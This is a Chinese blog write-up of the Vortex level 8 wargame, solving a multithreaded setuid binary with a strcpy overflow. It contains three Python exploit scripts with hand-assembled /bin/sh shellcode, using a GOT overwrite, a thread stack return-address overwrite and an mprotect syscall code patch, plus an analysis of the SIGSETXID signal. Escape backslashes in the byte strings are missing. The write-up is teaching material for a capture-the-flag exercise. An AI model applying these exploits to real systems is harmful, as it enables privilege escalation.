前天心血来潮,决定再做一关vortex玩玩,结果真是做的痛哭流涕,心中从头到尾都感觉有千万只草泥马在奔腾不止,好在现在总算解决了。
原题参见这里,题目很简洁,就说了让逆向给出的程序,那么我们首先通过逆向,仿写出如下程序:
#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <string.h> void *safecode(void *handle) { while(1) { int var = 0; printf("%dn", var); fflush(stdout); sleep(1); } } void unsafecode(const char* arg0) { char buffer[1024]; strcpy(buffer, arg0); } int main(int argc, char **argv) { pthread_t tid; pthread_create(&tid, NULL, safecode, NULL); setresgid(getgid(),getgid(),getgid()); setresuid(getuid(),getuid(),getuid()); unsafecode(argv[1]); }
我们发现,这道题首先新开了一个线程,然后丢掉所有权限后,调用了unsafecode,在unsafecode中很明显有个strcpy存在溢出漏洞,采取和上一关相同的方法,修改返回地址,我们可以很容易的使程序运行我们自己的payload,从而产生shell。但是,这个shell对于我们来说是没有意义的,因为程序已经没有了权限。
很显然,我们无法在程序丢掉所有权限之前控制住这个程序,那么我们想要获得权限,就只有想办法去利用unsafecode控制住safecode,因为safecode是在丢掉权限之前开启的线程,所以它还有我们所想要的权限。
仔细观察会发现,safecode在不停的调用printf、fflush、sleep,那么对于我们而言,最好的办法莫过于利用unsafecode狙击GOT表,由于同一进程中的不同线程共用GOT表,那么我们便可以使得safecode运行到我们设定的payload中去。
确认想法后,便开始实现,首先通过gdb,得到unsafecode的返回地址与buffer间需要填充的字符数,为1036。
紧接着通过:
objdump -j .plt -d vortex8
得到:
08048490 <sleep@plt>: 8048490: ff 25 08 a0 04 08 jmp *0x804a008 8048496: 68 10 00 00 00 push $0x10 804849b: e9 c0 ff ff ff jmp 8048460 <_init+0x38>
那么我们只要把0x804a008处的值改为我们的payload地址即可。
利用和前几关相同的方式,我们将payload放在环境变量中,那么,我们获取栈底地址,为0xffffe000。
然后,需要注意的是,我们要利用死循环使主线程不会立即结束,给子线程足够的时间去产生shell,那么我们得到攻击程序如下:
#!/usr/bin/env python import subprocess addr = 'x04xddxffxff' # x68x04xdfxffxff pushl $0xffffdf04 # x8fx05x08xa0x04x08 popl (0x0804a008) # xebxfe jmp self 死循环 code = 'x68x04xdfxffxff''x8fx05x08xa0x04x08''xebxfe' shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80" subprocess.Popen(['/vortex/vortex8', 'x90' * 1036 + addr], env = {'' : 'x90' * 500 + code + 'x90' * 500 + shellcode}).communicate()
这里由于我们需要两次定位payload(第一次是定位unsafecode的返回到的位置,从而修改GOT表;第二次是修改后GOT表应指向的shellcode地址),所以设置了两个nop缓冲区。
运行程序,我们便可以得到shell,通过id命令,我们可以检查我们得到的shell的权限确实为:
uid=5008(vortex8) gid=5008(vortex8) euid=5009(vortex9) groups=5009(vortex9),5008(vortex8)
至此,我们已经拿到了下一关的密码,但是游戏还没有结束,我们还可以尝试其它的方法。
看到有人想通过修改新线程栈中的返回地址来达到攻击的目的,结果失败了,于是好奇的研究了半天,最后终于发现了问题出在哪里。
首先讲下他实验的过程,实验开始前,先关闭ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space
然后输出新线程栈信息:
#include <pthread.h> #include <stdio.h> #include <stdlib.h> #define NUM_THREADS 3 int getebp() { __asm__("pop %eaxnpush %eax"); } void *print_hello(void *threadid) { int stack=0x41414141; int stac2=0x42424242; long tid = (long)threadid; printf("thread #%ld! ebp:%p,stack:%pn" "%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|" "%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|n", tid, getebp(), &stack); pthread_exit(NULL); } int main (int argc, char *argv[]) { long t; pthread_t threads[NUM_THREADS]; for(t=0; t<NUM_THREADS; t++) pthread_create(&threads[t], NULL, print_hello, (void *)t); pthread_exit(NULL); }
得到:
thread #0! ebp:0xf7e3b398,stack:0xf7e3b38c f7e45e00|00000000|42424242|41414141|f7e3b498|f7ff3ce0|f7e3b498|f7f9d96e| 00000000|f7e3bb70|f7e3bb70|f7e3bb70|f7e3b454|00000000|00000000|00000000| 00000000|00000000|f7e3bb70|00000000|00000000|00000000|00000000|00000000| thread #1! ebp:0xf763a398,stack:0xf763a38c 00000000|00000001|42424242|41414141|00000000|00000000|f763a498|f7f9d96e| 00000001|f763ab70|f763ab70|f763ab70|f763a454|00000000|00000000|00000000| 00000000|00000000|f763ab70|00000000|00000000|00000000|00000000|00000000| thread #2! ebp:0xf6e39398,stack:0xf6e3938c 00000000|00000002|42424242|41414141|00000000|00000000|f6e39498|f7f9d96e| 00000002|f6e39b70|f6e39b70|f6e39b70|f6e39454|00000000|00000000|00000000| 00000000|00000000|f6e39b70|00000000|00000000|00000000|00000000|00000000|
紧接着,利用得到的栈地址,修改栈中返回地址,指向win函数:
#include <pthread.h> #include <stdio.h> #include <stdlib.h> #define NUM_THREADS 2 #define sleep(x) {printf("s:%dn",x); sleep(x); }; void win() { printf("WINn"); exit(0); } void *print_hello(void *threadid) { for(;;) { printf("FORn"); sleep(3); } } int main (int argc, char *argv[]) { long t; pthread_t threads[NUM_THREADS]; for(t=0; t<NUM_THREADS; t++) pthread_create(&threads[t], NULL, print_hello, (void *)t); sleep(1); printf("OVERWRITEn"); int addr = 0xf7e3b398; for(t=0;t<16;t++) *((unsigned int*)addr+t-16)=&win; sleep(5); printf("FAILn"); }
得到:
FOR s:3 FOR s:3 s:1 OVERWRITE s:5 WIN
成功执行了win函数,于是在win中添加:
setreuid(0,0); execlp("/bin/sh", "bin/sh", NULL);
得到结果:
FOR s:3 FOR s:3 s:1 OVERWRITE s:5 FOR s:3 WIN FAIL FOR
发现了一个奇怪的现象,即在win函数执行的时候,主线程也执行并结束了,通过debug,他判断出问题出在setreuid上。
本人于是按照他的思路尝试了一遍,果然出现了和他一样神奇的状况(话说似乎我还成功过了一次,仅一次!),然后注释掉setreuid后,果然是次次都能出shell,于是乎百思不得其解,各种查资料,最后总算是在各种资料堆和实验之中,找到了原因。
下面我们就来解释一下:
首先我们发现FAIL被输出了,也就是说程序并不是非正常终止,只是sleep函数似乎出了什么问题,并没有等到我们设定的时间,通过查资料,我们也发现了,sleep函数退出有两种情况:一是正常退出,返回0;二是有信号中断发生,返回剩余秒数。那么也就是说我们的实验中sleep函数接收到了信号中断。
尝试把sleep(5)替换成死循环for (;;);或者再增加一句sleep(5)后,发现,次次都能成功得到shell,也就是说我们之前的判断应该是正确的。然而,当我们通过signal函数设置捕获所有信号的时候,却发现什么信号都捕获不到。这下就让我迷惑了,资料中都说,捕获不到的信号是SIGKILL和SIGSTOP,然而,我们这里显然不会是这两种信号,因为我们的程序仍旧是正常在执行。
那么问题到底应该是出在了什么地方呢?仔细观察我们会发现,网上几乎所有的资料中,都无视了两个信号,编号为32和33的信号,这便是关键所在了,32号信号是SIGCANCEL,33号信号是SIGSETXID,这两个信号可能是与系统相关,具体不清楚,但至少在我的Ubuntu中应该是这样了,通过33号信号的名字就很明显可以看出,这个信号绝对跟setuid有着不解的联系。通过gdb,我们也会发现,我们的程序进入了一个叫做sighandler_setxid的函数中,一看便觉得这是SIGSETXID的信号处理函数。
最后,为了进一步确认我的想法,我写了个程序来测试:
#include <stdio.h> #include <pthread.h> void *sub() { sleep(1); printf("Setuidn"); setuid(0); } void main() { pthread_t x; pthread_create(&x, NULL, &sub, NULL); printf("Beginn"); pause(); //sleep(5); printf("Endn"); }
会发现Setuid和End是在同一时间输出,然后程序结束,同时程序的errno为4(通过echo $?可以看到),代表Interrupted system call。而在注释掉setuid(0)后,程序输出了Setuid后便会一直停在那里等候,不会结束。
至此,我们便分析清楚了之前问题的原因,这也很好的解释了为什么之前实验中我会有一次成功(由于在不同的线程,那次setreuid在主线程的sleep(5)开始前运行),那么通过这种方法来破掉这一关应该也是可行的。
首先通过gdb,我们获取到子线程的ebp为0xf7e0b368,可以大概估计位置修改,这里我就利用gdb调试的结果精确定位了,子线程中sleep函数返回地址存在0xf7e0b33c,将该位置改为0xffffdf04即可。
#!/usr/bin/env python import subprocess addr = 'x04xddxffxff' # xb9x3cxb3xe0xf7 mov $0xf7e0b33c, %ecx # xc7x01x04xdfxffxff movl $0xffffdf04, (%ecx) # xebxfe jmp self 死循环 code = 'xb9x3cxb3xe0xf7''xc7x01x04xdfxffxff''xebxfe' shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80" subprocess.Popen(['/vortex/vortex8', 'x90' * 1036 + addr], env = {'' : 'x90' * 500 + code + 'x90' * 500 + shellcode}).communicate()
然而,运行却发现,我们的程序没有能够打开一个shell,而是不停的输出0,也就是说,我们修改返回地址没能奏效。于是我利用gdb的attach将gdb附加在那个没有停止的程序上,查看0xf7dec33c处的值,果然不是我们设定值,而主线程确实是在我们'xebxfe'设定的死循环处,那我们手动将主线程的eip调整到code的开头处,继续执行,便会发现,成功的打开了shell,屡试不爽。
然后再多次重复运行我们的程序后,突然发现,有时候又能够正常弹出shell,这个现象让我们不禁联想到了前面的实验,之前是由于不同线程语句执行顺序导致的,那按照这个思路,仔细想想这次,便会发现,有可能在我们修改返回地址之前,子线程都还没有调用任何函数,这显然会使得我们的修改失去意义。
于是,我们给主线程增加一个sleep(2),延迟修改返回地址,然后再运行我们的程序,便会发现成功获取了shell。其实,我们现在的程序仍旧是可能获取不到shell的,有可能当我们修改返回地址的那个瞬间,正好子线程已经从sleep中返回而又没有来得及再调用,只是这种情况发生的概率较小(个人实验是这样),所以我们可以无视,大不了挂了重新再跑一次就好。于是最终的程序如下:
#!/usr/bin/env python import subprocess addr = 'x04xddxffxff' # x6ax02 push $0x2 # xbbx90x84x04x08 mov $0x8048490, %ebx # xffxd3 call *%ebx # xb9x3cxb3xe0xf7 mov $0xf7e0b33c, %ecx # xc7x01x04xdfxffxff movl $0xffffdf04, (%ecx) # xebxfe jmp self 死循环 code = 'x6ax02''xbbx90x84x04x08''xffxd3''xb9x3cxb3xe0xf7''xc7x01x04xdfxffxff''xebxfe' shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80" subprocess.Popen(['/vortex/vortex8', 'x90' * 1036 + addr], env = {'' : 'x90' * 500 + code + 'x90' * 500 + shellcode}).communicate()
接下来,我们再尝试一种方法:
想要改变一个程序的执行过程,其实最直接的想法便是修改其代码,当然,正常情况下,代码段是不可写的,那我们如何去修改代码段呢?要注意,我们通过unsafecode已经获得了操纵了这个程序,只是,我们没有需要的权限而已,但是,我们是拥有对这个程序自身操作的所有权限的。那么,这也就意味着,我们可以通过mprotect将代码段改为可写的。
由于这个程序本身是没有调用过mprotect的,在PLT表中没有mprotect,我们无法直接调用mprotect,但是我们可以通过system call直接调用,Linux的system call是通过软中断0x80实现,在/usr/include/asm/unistd.h中,我们可以看到mprotect的系统调用号,也可以通过gdb来查看。
通过gdb,我们可以得到:
0xf7ef72b1 <mprotect+1>: mov 0x10(%esp),%edx 0xf7ef72b5 <mprotect+5>: mov 0xc(%esp),%ecx 0xf7ef72b9 <mprotect+9>: mov 0x8(%esp),%ebx 0xf7ef72bd <mprotect+13>: mov $0x7d,%eax 0xf7ef72c2 <mprotect+18>: call *%gs:0x10
从而知道了各个参数与寄存器之间的对应关系,于是我们得到的攻击程序如下:
#!/usr/bin/env python import subprocess addr = 'x04xdfxffxff' # x31xc0 xor %eax, %eax # x31xc9 xor %ecx, %ecx # x31xd2 xor %edx, %edx # xb2x07 mov $0x7, %dl # x66xb9x01x10 mov $0x1001, %cx # x30xc9 xor %cl, %cl # xbbx01x80x04x08 mov $0x8048001, %ebx # x30xdb xor %bl, %bl # xb0x7d mov $0x7d, %al # xcdx80 int $0x80 call mprotect # x68...x08 mov shellcode, (0x80485fe) # xebxfe jmp self 死循环 code = 'x31xc0x31xc9x31xd2xb2x07x66xb9x01x10x30xc9xbbx01x80x04x08x30xdbxb0x7dxcdx80''x68x6ax0bx58x99x8fx05xfex85x04x08x68x31xc9x52x68x8fx05x02x86x04x08x68x2fx2fx73x68x8fx05x06x86x04x08x68x68x2fx62x69x8fx05x0ax86x04x08x68x6ex89xe3xcdx8fx05x0ex86x04x08xb0x80xa2x12x86x04x08''xebxfe' shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80" subprocess.Popen(['/vortex/vortex8', 'x90' * 1036 + addr], env = {'' : 'x90' * 500 + code}).communicate()
我们需要注意的是,code中要避免出现x00导致字符串中断(call *%gs:0x10中含有x00,而int $0x80中没有),当然,在这题里面,由于code不需要strcpy复制,故而我们也有办法处理x00的情况,但毕竟不如直接避免x00来的方便。
至此,我们就结束了这一关的征程,也从这一关中收获了许多。